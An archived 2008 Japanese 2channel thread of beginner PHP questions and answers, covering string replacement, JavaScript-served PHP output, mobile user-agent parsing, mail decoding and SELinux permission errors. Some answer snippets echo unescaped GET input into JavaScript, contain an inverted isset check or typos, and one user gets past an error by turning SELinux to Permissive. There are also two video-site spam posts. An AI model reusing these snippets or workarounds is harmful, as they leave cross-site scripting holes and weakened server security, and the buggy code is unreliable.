【PHP】下らねぇ質問はここに書き込みやがれ 71
レス数が1000を超えています。これ以上書き込みはできません。
0001nobodyさん
2008/07/17(木) 19:42:52ID:DVaNTncwPHPで最良の教本はこの公式マニュアル。市販の書籍は嘘が多いので鵜呑みにしない。
過去スレ、関連スレ、FAQなどは>>2-10辺り
次スレは>>980が立てる。10分以内に立たない場合、宣言してから立てたい人が立てること。
◆前スレ
【PHP】下らねぇ質問はここに書き込みやがれ 70
http://pc11.2ch.net/test/read.cgi/php/1214356448/
◆質問する時の注意
・ 自分のIDを表示させること。(メール欄に何も記述しないこと。空白も入力しちゃダメ)
・ サーバーのOS(Linux、Windows他)、WebサーバーとPHPの種類やバージョン等を明記すること。
・ 己の行った操作、変更などを詳しく明記すること。
・ エラーメッセージはそのまま表記すること。「エラーが出ます」だけでは回答不可。
・ 質問者として、態度をわきまえること。
・ 事前に公式マニュアル、リファレンス本くらいはちゃんと目を通しておくこと。
◆質問後の注意
・偽者防止に必ずIDを表示させること。(メール欄に何も記述しない)
・2回目以降は最初に質問した際のレス番号を名前欄に入れること。
・解決しなくても回答をもらった場合はお礼を言うこと。
(荒らし、煽りは除く。煽られたときも、無闇に反論せずスルーすること。)
◆回答者への注意
・誰にレスしているのか分からないと困るので、>>(アンカー)をつけて回答すること。
【その他諸注意】
・正規表現・PEAR・テンプレート(Smarty等)・フレームワークは各該当スレへ
・SQLについての質問はデータベース板(PCカテゴリ)の各スレで
0002nobodyさん
2008/07/17(木) 19:45:14ID:???【PHP】下らねぇ質問はここに書き込みやがれ 69
http://pc11.2ch.net/test/read.cgi/php/1211879073/
【PHP】下らねぇ質問はここに書き込みやがれ 68
http://pc11.2ch.net/test/read.cgi/php/1209822736/
【PHP】下らねぇ質問はここに書き込みやがれ 67
http://pc11.2ch.net/test/read.cgi/php/1207863515/
【PHP】下らねぇ質問はここに書き込みやがれ 66
http://pc11.2ch.net/test/read.cgi/php/1205655807/
【PHP】下らねぇ質問はここに書き込みやがれ 65
http://pc11.2ch.net/test/read.cgi/php/1203854597/
【PHP】下らねぇ質問はここに書き込みやがれ 64
http://pc11.2ch.net/test/read.cgi/php/1202536271/
【PHP】下らねぇ質問はここに書き込みやがれ 61
http://pc11.2ch.net/test/read.cgi/php/1201425479/
【PHP】下らねぇ質問はここに書き込みやがれ 62
http://pc11.2ch.net/test/read.cgi/php/1199956159/
【PHP】下らねぇ質問はここに書き込みやがれ 61
http://pc11.2ch.net/test/read.cgi/php/1198002831/
【PHP】下らねぇ質問はここに書き込みやがれ 60
http://pc11.2ch.net/test/read.cgi/php/1196511516/
【PHP】下らねぇ質問はここに書き込みやがれ 59
http://pc11.2ch.net/test/read.cgi/php/1195204145/
0003nobodyさん
2008/07/17(木) 19:45:48ID:???■本家マニュアル http://www.php.net/manual/ja/
■日本PHPユーザ会 http://www.php.gr.jp/
■PEARマニュアル http://pear.php.net/manual/ja/
■メーリングリスト http://ns1.php.gr.jp/mailman/listinfo/
■ZFマニュアル http://framework.zend.com/manual/ja/
(以下英語)
■Smarty http://smarty.php.net/
■Zend本家 http://www.zend.com/
■Zend Framework http://framework.zend.com/
■php | architect http://www.phparch.com/
■Smartyマニュアル http://smarty.php.net/manual/en/
■PECL本家(英語) http://pecl.php.net/
0004nobodyさん
2008/07/17(木) 19:47:16ID:???1.文字コードは何を使えばいいの?
→1.UTF-8 2.EUC-JP のどちらか。迷うようなやつはShift_JISは使っちゃダメ。
2. このスレに書き込むときに自分のサイト名を晒したくない
→ http://example.com/が例文などのために予約されている。hogehoge.comは使っちゃダメ。
3. ブラウザに何も表示されないんだけど・・・
→ Apacheの設定を見直せ。ファイルの拡張子は何にしてて、その拡張子でPHPを呼ぶようになっているか?
4. 記号の意味がわからないけどググりようがない
→ 「@」 エラー表示を抑制、「->」 オブジェクトのメンバにアクセス、「::」 静的なメソッド呼び出し、
「==」は暗黙の型変換をしてゆるい比較、「===」は型情報も含めた厳密な比較
5. echo "$arr['hoge']['fuga']"; と書いたらエラーになった
→ {おっぱい括弧}でくくって"{$arr['hoge']['fuga']}"にする
6. 一定時間ごとに自動的に何かしたいんだけど
→ cronかタスクスケジューラを使え。
7.extractって危険なの?
→変数上書き&初期化忘れなどで危険。楽だからという理由だけで安易に使わない。
8. include/requireに「〜.php?a=b&c=d」のようなパラメータをつけたい
→ URL呼び出しなら可能だけど、普通のファイル呼び出しではできません
9.include/requireでURLを指定しても何も起きない
→ .phpの拡張子のファイルをURLで呼び出すと、1度PHPプログラムとして実行された結果になる。
0005nobodyさん
2008/07/17(木) 19:48:07ID:???→ 確認すべきはPHPのconfigureの引数、php.iniの内容と置き場所、
Webサーバの設定(Apacheならhttpd.conf)、起動&再起動あたり
11. SQLの質問はどこで?
→ データベース板に誘導されるのが嫌ならPHPにうまく関連させて質問する
12. 文字列のなかに、英字のみとか数字のみとか記号が入っちゃいやんとかはどうしたらいいの?
→ ctype_〜()が手軽。複雑なパターンはpreg_〜()あたりで正規表現を使う。
13. $a1, $a2, $a3 ... のような変数名をうまく扱いたい
→ 可変変数で実現できるけど、むしろ配列を使って$a[1], $a[2], $a[3]等とするのがベター
14. echoとprintってどう違うの?
→ よく議論される話題であるが基本的に両者とも同じ。 以下ちょっとした議論。
http://www.faqts.com/knowledge_base/view.phtml/aid/1/fid/40
15. クッキーの情報をユーザから隠したい
→ セッション使え。ただしクッキーとセッションは仕組みが違うから同じように扱うな
16. strip_tags()で削除しないタグを複数指定したい
→ strip_tags($html, '<a><p><font>'); // htmlspecialchars()も検討すべし
17. CSVやTSVのファイルをスマートに扱いたい
→ まずはfgetcsv()。ただし日本語を含むと正常に動作しない場合があるので注意だ。
18. 値渡しと参照渡し(「&」を使う)のパフォーマンスの違い
→ C言語じゃないので、パフォーマンス目的で使いわけたらダメ。参照渡しにすると逆に遅くなったりする
参照渡しは引数に戻り値を設定したり引数を関数内で変更するなど、正しい目的に使うこと
19. ファイル入出力関数(fopen等)でリモートファイル(http://〜とか)を扱う際の限界
→ fsockopen()でソケット通信 or PEARのHTTP系 or CURLで解決
必要ならHTTPをはじめとする各種プロトコル(どんなデータを送受信するか)はRFCなどで調べる
20. PHPからPOSTリクエストしたい
→19.を参照
21. 画像処理一般 or GDの限界
→ ImageMagick(PECLのやつ or シェルから実行)
22. 画像・音・動画はファイルで保存?DBに保存?
→ 好きにしてください
0006nobodyさん
2008/07/17(木) 23:25:16ID:OURQxnQuてきとーに立てんな
0008nobodyさん
2008/07/18(金) 00:15:57ID:???直ってるの?
0009nobodyさん
2008/07/18(金) 00:20:58ID:???トリップつけろって文言ないしね
質問者はIDだしてあげるこれは鉄則というかマナー
0010nobodyさん
2008/07/18(金) 00:56:44ID:???0011nobodyさん
2008/07/18(金) 00:57:58ID:???0012nobodyさん
2008/07/18(金) 01:00:49ID:???0013nobodyさん
2008/07/18(金) 01:22:06ID:???昔からageてID出せってテンプレで書いてるんだから守ればいいじゃん
そんな反発するようなことじゃないだろ?
ID出さないと偽者が出るし、トリップやコテハンは嫌われる傾向なので煽りが出る原因になる
円満にスレを進めるなら質問者はageてID出せばいい
>>1という無駄な1行レスも増えないしな
0015nobodyさん
2008/07/18(金) 15:13:57ID:???→ 回答するなり無視するなり好きにしてください
0016nobodyさん
2008/07/18(金) 15:42:21ID:???FAQじゃねぇw
まぁそのとおりなんだけどスレが荒れるのは確実だから
>>14みたいな人間がいる以上テンプレに添ってやるのが妥当
0017nobodyさん
2008/07/19(土) 02:52:36ID:???0018nobodyさん
2008/07/19(土) 03:55:25ID:???0019nobodyさん
2008/07/19(土) 10:28:37ID:O5rwREQG$hoge =~ s///g;
$hoge =~ tr///;
に相当する
PHPの書き方って
ありますか?
0020nobodyさん
2008/07/19(土) 10:49:59ID:???ところで、関係ないけど、trって使い道なくね?
なんで一文字ずつ置換しかできない仕様のものを作ったんだろう。
0021nobodyさん
2008/07/19(土) 10:57:21ID:O5rwREQG教えてください
0023nobodyさん
2008/07/19(土) 11:56:55ID:O5rwREQGstr_replaceで、変換元と先を配列にすればOKですか?
0024nobodyさん
2008/07/19(土) 21:45:27ID:???0025nobodyさん
2008/07/19(土) 21:48:54ID:???0026nobodyさん
2008/07/20(日) 00:00:45ID:???画像のURLを使ってサーバーのディレクトリに画像を保存するのって出来ますか?
$source = "http://aaa.com/b.jpg"; //保存したいファイルのURL
$updir = "\"; //保存先パス
copy( $source, $updir ); //保存
自分のイメージとしてはこんな感じなのですが。
0027nobodyさん
2008/07/20(日) 00:07:35ID:???002826
2008/07/20(日) 02:12:58ID:???0029nobodyさん
2008/07/20(日) 02:28:53ID:???ネットワークの仕組みを考えればすぐ分かるはず。
送り手、受け手両方プログラムを用意する必要がある。
あと、
マルチ氏ね
003026
2008/07/20(日) 02:34:31ID:???fopenでURLを指定してバイナリモードで開いて
そのあと何か関数を使って保存するのかなと思ったのですが
0032nobodyさん
2008/07/20(日) 03:31:36ID:???javascriptで、外部phpから取得し、html書式で返ってきたものを表示させるということがしたいと思っています。
<script type="text/javascript" language="javascript">
<!--
document.write("<script type='text/javascript' src='http://〜/data.php'></script>");
// -->
</script>
--------
data.php
<?php
$KeyWord=$_GET["key"];
$sum1="document.write(\"<a href='{$Keyword}' target='_blank'><img src='http://〜/〜.png' border='0'/></a>\");";
echo $sum1;
?>
このようなプログラムです。いろいろ試したのですが、どうしてもうまくいきません。
phpのほうをこのようにすると動きます。教えていただいたことをやってみてもうまく動きません。
呼び出し方がまずいんでしょうか?よろしくお願いします
<?
echo 'hello';
?>
0033nobodyさん
2008/07/20(日) 03:47:22ID:???とりあえず問題切り分けてみたら
0034nobodyさん
2008/07/20(日) 03:50:25ID:???fopen->fwrite->fcloseもしくはphp5ならfile_put_contentsなどで
$sum1="document.write(\"<a href='{$Keyword}' target='_blank'><img src='http://〜/〜.png' border='0'/></a>\");";
file_put_contents("data.js", $sum1, LOCK_EX);
とする
そうすると$sum1が記述されたdata.jsができあがるので
それを呼び出す
<script type="text/javascript" src="http://example.com/data.js"></script>
0035nobodyさん
2008/07/20(日) 03:53:37ID:???document.write("<a href='「リンク先URL」' target='_blank'><img src='「画像のURL」' border='0'/></a>");
このような値をphpが返してくるんですが、「この画像にリンクが貼ってある」というように表示させたいのです。html形式として。
表示させたいサーバーはphpが動かないので(PHPをおいてあるサーバーは動きます)javascriptで呼び出して表示させたらいいんじゃないかと思いまして。
javaはあまりやったことないのでかなり手間取ってしまって、ずっと悩んでいるんdネスが解決の糸口が見つけられず
0036nobodyさん
2008/07/20(日) 04:00:51ID:???ありがとうございます。
なるほど、そういうやり方もあるんですね。大変参考になりました。
言葉足らずで申し訳ないのですが、今回の場合、多数のリンクを形成したいと思っていますので、なるべくファイルを残したくないと考えています。
別の形で利用させていただきます。
document.write("<script type='text/javascript' src='http://〜/data.php'></script>");
ここの部分の呼び出し方はあっているんでしょうか?
data.phpに?key=****みたいに、リンクを作る際そのつど多様な引数を与えようと思っています。
htmlspecialcharsも挟ませて見たのですが、エラーが出ます。
間違いの可能性のある部分を指摘していただくだけでも大変参考になります。自分じゃ気付けないので\
0037nobodyさん
2008/07/20(日) 04:11:51ID:???<script type="text/javascript" scr="http://example.com/data.php?key=hoge"></script>
003837
2008/07/20(日) 04:12:22ID:???003937
2008/07/20(日) 04:16:02ID:???呼び出す側のhtmlで呼び出したいところで上記のやつを書けばいい
>>32の
><script type="text/javascript" language="javascript">
><!--
>document.write("<script type='text/javascript' src='http://〜/data.php'></script>");
>// -->
></script>
これは変
イメージとしてjavascriptの中でjavascript呼び出してる感じになってる
0040nobodyさん
2008/07/20(日) 04:19:06ID:???そうです。そして、呼び出すと
「document.write("<script type='text/javascript' src='http://〜/data.php'></script>");」
こんな感じのデータが帰ってきます、これをそのまま貼り付けたいというか、メインページに融合させたいんです。
004132,35,36,40
2008/07/20(日) 04:23:21ID:7gU9trCQdata.phpはjsじゃなくphpです
>>32
ここにソースが。document.writeというjavascript命令を返すようにしてあります。
ネットでこのようにやるやり方を見つけたので、いろいろ試していました。
004237
2008/07/20(日) 04:37:12ID:???とりあえず・・・
test.php (http://example.com/test.phpに置くとする)
<?php
if (!isset($_GET['str'])) {
$str = $_GET['str'];
}
echo "document.write(\"{$str}\" + \"<br>\");";
?>
test.html (ローカル上もしくは別サーバで実行する)
<script type="text/javascript" src="http://example.com/test.php?str=aiueo"></script>
<script type="text/javascript" src="http://example.com/test.php?str=kakikukeko"></script>
こういうことじゃないの?
test.phpはJavaScriptのソースをechoしてるわけだからJavaScript扱い
呼び出す側のtest.htmlでそのJavaScript(test.php)を呼び出せばいい
004337
2008/07/20(日) 04:50:08ID:???if (!isset($_GET['str'])) {
$str = $_GET['str'];
}
if (isset($str)) {
echo "document.write(\"{$str}\" + \"<br>\");";
}
?>
に訂正
実際はGETされた値をバリデーション(データが適切なものかチェック)したり
そのままgetしたものを表示すると危険なのでhtmlepecialcharsかませたりするけど
とりあえずテストスクリプトなので割愛
0045nobodyさん
2008/07/20(日) 06:43:59ID:0ZMYxiu9何か直接的なヒントになるようなページありますか?
文字コードは、UTF-8を使っています。
ユーザー情報登録用に、姓名の姓が漢字になっているかチェックをかけたいのと、
姓名の平仮名の入力部分が平仮名になっているかチェックをしたいと思っています。
前は全角でチェックをかけていたのですが、ひらがなと漢字を逆にしたり、
平仮名の箇所を片仮名で書いてくる人がいて、量も多いため事後チェックの作業が大変で困っています。
アドバイス宜しくお願いします。
0046nobodyさん
2008/07/20(日) 07:28:38ID:???ttp://phpspot.net/php/pg%90%B3%8BK%95%5C%8C%BB%81F%82%B7%82%D7%82%C4%82%D0%82%E7%82%AA%82%C8%82%A9%82%C7%82%A4%82%A9%92%B2%82%D7%82%E9.html
0047nobodyさん
2008/07/20(日) 11:34:11ID:???ttp://d.hatena.ne.jp/tkuro/20080716/1216192253
0048nobodyさん
2008/07/20(日) 13:40:10ID:???printf('%x', array_sum(array_map('hexdec', str_split($文字列, 2))));
0051nobodyさん
2008/07/20(日) 13:49:49ID:???0052nobodyさん
2008/07/20(日) 14:43:07ID:???0053nobodyさん
2008/07/20(日) 14:55:52ID:???もう二度と来ないでね。
0054nobodyさん
2008/07/20(日) 14:58:14ID:???0055nobodyさん
2008/07/20(日) 15:06:18ID:???0056nobodyさん
2008/07/20(日) 15:18:13ID:???0057nobodyさん
2008/07/20(日) 15:19:20ID:???0059nobodyさん
2008/07/20(日) 16:28:33ID:FzqmKs0cageてくれ
0060nobodyさん
2008/07/20(日) 17:29:05ID:p4V1WPS4これ時々動かない時があってダルい。
0061nobodyさん
2008/07/20(日) 17:31:13ID:???0062nobodyさん
2008/07/20(日) 18:20:22ID:AgdzipKA0064nobodyさん
2008/07/20(日) 20:47:20ID:???stripslashes関数で取り出す、ってのは作法的にどうなんでしょうか?
もっと正当なやり方とかあるんでしょうか
例)
<img src=\"images/example.jpg\" />
0065nobodyさん
2008/07/20(日) 20:51:48ID:???0066nobodyさん
2008/07/20(日) 20:54:25ID:???0067nobodyさん
2008/07/21(月) 06:04:10ID:???いやらしい想像をしたらしく、
プチ喧嘩になってしまった。
笑ってやってください。
0069nobodyさん
2008/07/21(月) 06:45:40ID:???0072nobodyさん
2008/07/21(月) 15:16:14ID:???0073nobodyさん
2008/07/21(月) 15:27:39ID:???0074nobodyさん
2008/07/21(月) 22:38:27ID:L5j6+omjそのパスワードを入力しないとDLできないようにしたいのですが仕組みがわかりません
アップロードされたファイルに直接アクセスされてもDLパスワードを要求できればいいんでしょうけど・・・
うpろだ.org(ttp://www.uploda.org/)さんところみたいなのが目標です
アドバイスよろしくおねがいします
0075nobodyさん
2008/07/21(月) 22:48:46ID:???0076nobodyさん
2008/07/21(月) 22:50:30ID:???0077nobodyさん
2008/07/21(月) 23:00:17ID:???むしろ公開したくないものを公開場所に置くのがおかしい
0078nobodyさん
2008/07/21(月) 23:23:36ID:9kbQKGjb携帯で動画を出力する時につかってるんですが、同時アクセスがあると
先に読み込みを始めた方しかDL出来ません。
他にはfilesizeも後の方は失敗します。
回避する方法って何かないでしょうか。
0079nobodyさん
2008/07/22(火) 06:56:23ID:???test();
function test() {
print_r($aaa);
}
こうしても何も出力されないんですが、もしかしてfunction内にはデータが持ち込まれてないんでしょうか?
0080nobodyさん
2008/07/22(火) 07:15:44ID:???function test() {
global $aaa;
print_r($aaa);
}
にしてみ
0081たまき
2008/07/22(火) 08:21:44ID:XjAln+x8『現在今★人閲覧しています。機種はDoCoMo<BR>AUです』
みたいなのを表示させたいのですが、どうしたらよいのでしょうか…
0082nobodyさん
2008/07/22(火) 09:10:24ID:aQ5G/uBX0083nobodyさん
2008/07/22(火) 09:32:44ID:???0085nobodyさん
2008/07/22(火) 10:49:54ID:rL1pjvb8その内容をaliasesでPHPに飛ばして処理させるスクリプト作成していますが
〜〜メールの内容〜〜
From *****@****.ne.jp Tue Jul 22 10:07:12 2008
(中略)
Date: Tue, 22 Jul 2008 10:07:11 +0900
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="-----=_NextPart_30836_34884_38932"
-------=_NextPart_30836_34884_38932
Content-Type: text/plain; charset="iso-2022-jp"
Content-Transfer-Encoding: 7bit
内容内容テストテストテストテストテスト
-------=_NextPart_30836_34884_38932
Content-Type: image/jpeg; name="080711_1916~0001.jpg"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="080711_1916~0001.jpg"
/9j/4QHsRXhpZgAATU0AKgAAAAgACgEOAAIAAAARAAAAh(略)
〜〜〜〜〜〜〜〜〜
PHPで今受け取れているのが上記の様なテキストです。
正規表現でFromやTo、Subjectなどは取り出せましたが
本文と添付ファイルを取得する最適な方法は何でしょうか?
0086nobodyさん
2008/07/22(火) 11:03:39ID:???0087nobodyさん
2008/07/22(火) 11:10:12ID:???やはりPEARですか
どのPEARが一番軽くて良いでしょう?
Mail_mimeDecode というのを見つけましたが
0088nobodyさん
2008/07/22(火) 12:46:42ID:???これは?
QdmailReceiverとは - QdmailReceiver Multibyte mail decoder & POP Client
http://hal456.net/qdmail_rec/
0089nobodyさん
2008/07/22(火) 12:57:23ID:???「一番」とか「最適」なんてのは、適材適所で使う単語。
0090nobodyさん
2008/07/22(火) 13:33:52ID:???だから>87は>85の用途での「一番」を聞いてるんだと思うけど。
あなたの言いたいこともわかるけど、今回で言えばその指摘は的外れじゃねーか?
0091nobodyさん
2008/07/22(火) 13:44:58ID:kxanaLkk$yyy =& $AAA->test();
この「=&」ってどういう意味ですか?
0092nobodyさん
2008/07/22(火) 14:01:46ID:???1スレに1回は見かける質問ですな
http://jp.php.net/manual/ja/language.references.php
http://jp.php.net/manual/ja/language.references.return.php
0093nobodyさん
2008/07/22(火) 14:06:52ID:???0096nobodyさん
2008/07/22(火) 16:13:30ID:tlpgR1UJ一旦fopenでページを読み込んで正規表現で抜き取るか、
Javascriptのdocument.title以外に方法はありますか?
出来ればPHPのみで出来ればと思います。
0098nobodyさん
2008/07/22(火) 16:29:29ID:aQ5G/uBXJavascriptでやったほうがよいと思われ
0100nobodyさん
2008/07/22(火) 23:08:25ID:???動画検索ロボットが毎日動画を自動収集!!
アクセスアップ間違いなし。
もちろん海外のサーバーなので違法性も一切ありません。
完全無料!!いくらでも動画サイトを作成できます。
0101nobodyさん
2008/07/22(火) 23:09:01ID:???動画検索ロボットが毎日動画を自動収集!!
アクセスアップ間違いなし。
もちろん海外のサーバーなので違法性も一切ありません。
完全無料!!いくらでも動画サイトを作成できます。
http://sxv.xgun.tv
▼mixiのトピックです。
http://mixi.jp/view_bbs.pl?id=33336111&comment_count=0&comm_id=326589
▼自分のmixiです。
http://mixi.jp/show_friend.pl?id=15652823
0102nobodyさん
2008/07/23(水) 00:49:25ID:???<?php
include './hoge.html';
?>
ってのをHTMLに組み込んだとき
hoge.htmlよりも下層のファイルからhoge.htmlに記述してるリンクを
うまく読み込めなくて困ってる
ttp://renlit.sakura.ne.jp/dunamis/
で、左側のメニューがindex以外でうまく動いてくれない
助けてエロイ人
0103102
2008/07/23(水) 00:50:46ID:4OGKT8Zy0104nobodyさん
2008/07/23(水) 01:07:51ID:???0105102
2008/07/23(水) 01:21:02ID:4OGKT8Zyダメみたい。
で、index.phpと、dungeon/top.phpに埋め込みの所、コメント入れてみた
読み込む方のHTMLファイル晒したほうがいいの?
0106nobodyさん
2008/07/23(水) 01:22:38ID:???0107102
2008/07/23(水) 01:25:33ID:4OGKT8Zydungeon/top.php
から、ダンジョン情報(同じページ)クリックしてもうまく動かないって意味
0109102
2008/07/23(水) 01:52:35ID:4OGKT8Zyここ数日悩んでたんだ〜
回答くれたエロイ人(達?)
本当にありがとうございました
0110nobodyさん
2008/07/23(水) 05:31:32ID:???0111nobodyさん
2008/07/23(水) 09:49:41ID:9g9C5JRBB.phpでのページ移動時に、A.phpのページが表示されてしまいます。
インスタンスを別に生成しても同様の症状が出ます。
Pagerのセッションは、エラーが返ってきてしまい使えません。
何とか対応策は無いでしょうか?
0112nobodyさん
2008/07/23(水) 09:53:04ID:???0113111
2008/07/23(水) 10:05:57ID:???pagerに読み込んでいる配列は、A.php、B.php共に同じものです。
よって廃棄(初期化?)はしていません。
どういう仕組みになっているのか、
Pagerのソースを読んでも理解できないのですが、
B.phpでのページ移動時に、A.phpそのものが表示されるのです。
A.php
こんにちは
<<PREV 1 2 3 4 5 NEXT>>
B.php
こんばんは
<<PREV 1 2 3 4 5 NEXT>>
B.phpの2ページ目以降をクリックすると、「こんにちは」のページが出てしまうのです。
0119nobodyさん
2008/07/23(水) 14:45:16ID:???0121はいぽん
2008/07/23(水) 15:58:42ID:kDNByBKwDoCoMo/2.0 SH903i(c100;TB;W24H12;ser000000000000000;icc000000000000000000000F)
これは考えられました。
$ua = 'DoCoMo/2.0 SH903i(c100;TB;W24H12;ser000000000000000;icc000000000000000000000F)
';
if(preg_match("/^DoCoMo\/2\.0\s([0-9a-zA-Z]+)/",$ua,$match)){
$kisyu = $match[1]
}
echo "携帯の機種".$kisyu;
とすれば、SH903iと出力されよかったのですが、
serの部分を抽出しようと考えましたが、わかりません、教えてください
この状態で、
0122はいぽん
2008/07/23(水) 15:59:50ID:kDNByBKw2レスになってしまってすいません、
0123nobodyさん
2008/07/23(水) 16:13:38ID:???0124はいぽん
2008/07/23(水) 16:18:24ID:kDNByBKw'DoCoMo/2.0 SH903i(c100;TB;W24H12;ser000000000000000;icc000000000000000000000F)
これから
ser000000000000000
を抽出したいのです。
0125nobodyさん
2008/07/23(水) 16:29:16ID:???serで始まって数字がn桁あって、セミコロンで区切られてるとこまで?
0126はいぽん
2008/07/23(水) 16:33:24ID:kDNByBKwserでは始まって、セミコロンで終わるまでの文字列です。今回ならば
ser000000000000000
0127nobodyさん
2008/07/23(水) 16:34:05ID:???0128nobodyさん
2008/07/23(水) 16:38:15ID:???ttp://pear.php.net/package/Net_UserAgent_Mobile
0129nobodyさん
2008/07/23(水) 16:42:27ID:???0130nobodyさん
2008/07/23(水) 16:45:12ID:???移動したいんですがPermisionDenyでエラーになります。
移動先ディレクトリの権限はもちろんチェックしていて 777にしてるんですが...
同じスクリプトで別のディレクトリ(パーミション777)を指定すると問題なく
アップロードできちゃったりするんですが、ファイル書き込みのpermision deny
のエラーの場合って対象ディレクトリのパーミション以外になにか設定で
制限かけられてる可能性があったりするんでしょうか?
環境は、
OS:CentOS4.6
PHP:4.3.9 (cgi)
AdobeのFlashMediaServerというのを入れておりまして、ストリーミングの
ソースとなる動画ファイルを、FlashMediaServerの特定ディレクトリに
動画ファイルを置こうとして発生しているエラーです。
0132nobodyさん
2008/07/23(水) 17:08:30ID:???オーナー/グループはapache.apacheにしております。
メディアサーバの仕様で、デフォインストール時にはnobody.nobodyがオーナーでした。
パスの途中のディレクトリのオーナーはnobody.nobodyになっております。
これってなにか影響しますかね…
0133nobodyさん
2008/07/23(水) 17:11:22ID:???それが原因である可能性は高いな
0134nobodyさん
2008/07/23(水) 17:35:21ID:???0135nobodyさん
2008/07/23(水) 17:35:58ID:???othersのrwxが全部立ってるわけだし。
そのディレクトリに到達するためのパスの途中のディレクトリの
どこかでxが落ちてるんじゃない?
0136nobodyさん
2008/07/23(水) 17:48:35ID:???x落ちてませんでした;
試しに、execでls -l を実行してみたんですがそれは通りました。
おなじくexecで、touchも試してみたんですがpermision denyでした。
0137nobodyさん
2008/07/23(水) 18:09:26ID:???0138130
2008/07/23(水) 19:05:08ID:???SELinuxですかー
メディアサーバ含めもうちょっとその辺調べなおしてみますー
レスありがとうございました。
0139nobodyさん
2008/07/23(水) 19:42:15ID:???0140nobodyさん
2008/07/23(水) 19:55:37ID:???0141nobodyさん
2008/07/23(水) 22:11:08ID:7ExAaWODimagefilledarc($image, 100, 100, 200, 200, 0, 180, $blue, IMG_ARC_PIE);
imagefilledarc($image, 100, 100, 200, 200, 180, 360, $green, IMG_ARC_PIE);
こうすると、半分同士塗られた円が出来るのですが、
上下の塗りになっています。
これを左右の塗りにするには、どういう設定の仕方をするのでしょうか?
0142nobodyさん
2008/07/23(水) 22:31:21ID:???ぱっと見た感じ、6番目と7番目の引数に角度を表してそうな値があるから
imagefilledarc($image, 100, 100, 200, 200, 270, 90, $blue, IMG_ARC_PIE);
imagefilledarc($image, 100, 100, 200, 200, 90, 270, $green, IMG_ARC_PIE);
とか設定すればいいんじゃない
0145nobodyさん
2008/07/23(水) 23:48:21ID:???0146nobodyさん
2008/07/24(木) 00:03:08ID:???その数値を変えて試してみたりできないようなら、止めたほうがいいよ、センスないから。
0147nobodyさん
2008/07/24(木) 00:15:27ID:???センス無くてすみません
0148nobodyさん
2008/07/24(木) 01:36:22ID:???0149nobodyさん
2008/07/24(木) 08:06:20ID:oa2Bcwyz$files = array(
'Hoge/Hoge',
'Hoge日本語',
'Hoge',
);
のようなものがあったときに、
sort($files);
とすると、日本語の先頭バイトが / よりも文字コード的に先の場合
'Hoge',
'Hoge日本語',
'Hoge/Hoge',
とソートされますが、ディレクトリ階層を表現したかった、つまり、
'Hoge',
'Hoge/Hoge',
'Hoge日本語',
となってほしかったので、
$files = str_replace('/', "\0", $files);
とヌル文字に置換してから sort した所、sort では期待通りいきました。
ところが、natsort ではうまくいきません。何か手はないものでしょうか?
0150nobodyさん
2008/07/24(木) 08:10:39ID:oa2Bcwyz'Hoge',
'Hoge日本語',
'Hoge\0Hoge',
のようになり、変わらずです。上手い方法が見つかったと思ったのですが・・・。
0151130
2008/07/24(木) 09:19:30ID:???セーフモードではなかったです。
ところでセーフモードの制限でのエラーでもPermision Denyって出るんですか?
0152nobodyさん
2008/07/24(木) 09:22:05ID:???0153nobodyさん
2008/07/24(木) 09:35:32ID:???PHPのセーフモードは関係ないと思われ
0154130
2008/07/24(木) 10:11:01ID:???原因は137の御指摘の通りSELinuxで何かしらの制限がかけられていたようです。
(おそらく、httpからのファイル操作では /var/www/*** 以外に書き出しが出来ない、
みたいな制限かと)。
とりあえず一時的にSELinuxの動作モードをPermissiveにして試してみたら
問題なくファイル移動できました。
設定方法等詳細調べてやりなおしてみます。
結果的にスレ違いな原因でスレ汚し失礼いたしました。
0155nobodyさん
2008/07/24(木) 21:08:45ID:YKiKdpbn<?php
if(!$_POST['engine']==""){$sh = urlencode($_POST['s']);
switch($_POST['engine']){case "Google": $url="http://www.google.co.jp/m/search?id=&ie=Shift_JIS&merstrict=chtml&eosr=on&q=";break;}
header("Location: ".$url.$sh);
}
?>
<html><head></head><body>
<form action="a.php" method="POST">
<input type="text" name="s" size="20"><br><select name="engine">
<OPTION value="Google">Google</OPTION></select>
<br><input type="submit" value="検索">
</form></body></html>
urlencodeしているのに、
携帯だと文字化けしてしまいます。
PCでは正常に機能します。
どなたかわかりますでしょうか?(´;ω;`)
0156nobodyさん
2008/07/24(木) 21:14:53ID:???試してないけど、出力エンコーディングのパラメータ
&oe=Shift_JIS
を$urlにくっつければいいんじゃないかな
0157155
2008/07/24(木) 21:26:51ID:YKiKdpbn0158155
2008/07/24(木) 21:34:47ID:YKiKdpbn同じく検索ワードが文字化けています。
PCでは正常に動作するのですが…
何故携帯だとダメなのでしょう。それさえわかりません。
これに2日も悩むのは私くらいのものでしょうねorz
0159nobodyさん
2008/07/24(木) 21:47:27ID:???どの環境でテストしてるん?
http://www.google.co.jp/m/search?id=&ie=Shift_JIS&merstrict=chtml&eosr=on&q=
となっているのを
http://www.google.co.jp/imode/search?id=&ie=Shift_JIS&merstrict=chtml&eosr=on&q=
とかそういう風に書き換えても駄目?(imodeの部分はキャリアによって書き換える)
0160155
2008/07/24(木) 22:27:05ID:YKiKdpbnテストはドコモ(一応:SH903i)実機プレイです。
/m/を/imode/にしてもダメでした…
http://www.google.co.jp/m/search?q=
でもダメでした…
メタタグで文字コードの指定もしてみましたが…
やっぱりダメ。
ANSIで保存してるのは関係ないですよね?
こういうのってわからないと
発狂しそうになりますよね。
(´;ω;`)
0161nobodyさん
2008/07/24(木) 22:29:13ID:???0163nobodyさん
2008/07/24(木) 23:03:25ID:???0164155
2008/07/24(木) 23:27:16ID:???if(!$_POST['engine']==""){$sh = urlencode($_POST['s']);
switch($_POST['engine']){case "Google": $url="http://www.google.co.jp/m/search?id=&ie=Shift_JIS&merstrict=chtml&eosr=on&q=";break;}
header("Content-Type:text/html; charset=Shift_JIS");
header("Location: ".$url.$sh);
}
?>
<html><head></head><body>
<form action="a.php" method="POST">
<input type="text" name="s" size="20"><br><select name="engine">
<OPTION value="Google">Google</OPTION></select>
<br><input type="submit" value="検索">
</form></body></html>
こういうことですよね?
駄目でした…。私には解決策が全く解りません。
0165nobodyさん
2008/07/24(木) 23:35:38ID:???0166155
2008/07/24(木) 23:44:38ID:???「<html>他の記述より」ではなかったでしたっけ?
何よりも先にですか?
だとすると$url.$shの処理自体ができませんね。。。
何故なんだ。。。
0167155
2008/07/25(金) 00:09:28ID:???明日には回答がありますように・・・
